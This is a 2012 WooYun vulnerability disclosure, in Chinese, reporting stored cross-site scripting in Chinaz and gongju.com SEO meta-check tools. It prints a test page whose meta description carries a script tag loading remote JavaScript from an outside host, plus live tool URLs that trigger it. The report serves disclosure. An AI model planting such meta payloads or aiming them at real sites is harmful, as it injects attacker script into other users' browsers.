当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-014488

漏洞标题：站长之家存储型xss(一种新思路)

相关厂商：站长之家

漏洞作者： 团长

提交时间：2012-11-08 11:01

修复时间：2012-11-08 11:01

公开时间：2012-11-08 11:01

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-11-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这是一类网站。

详细说明：

现在有很多网站信息查询，seo优化，网站安全检测之类的网站，这些网站通常会抓取网页的meta信息。这样如果用户的meta是恶意代码，就会出现问题。
站长之家等网站就有这样的问题。
测试代码，写一个简单的页面：

<html>
<head><meta name="keywords" content='tmxk.org' />
<meta name="description" content="<script src=http://tmxk.org/x.js style=''" /></head><body></body></html>


然后到站长之家去检测，
seo.chinaz.com/?host=unbet8.com%2f%
截图：

1.png


2.png


其它举例：
http://www.gongju.com/meta/#url=unbet8.com/0.htm
http://www.gongju.com/meta/ret/01370d996e987723/
http://tool.chinaz.com/Tools/MetaCheck.aspx?url=unbet8.com%2F%

漏洞证明：

修复方案：

版权声明：转载请注明来源 团长@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝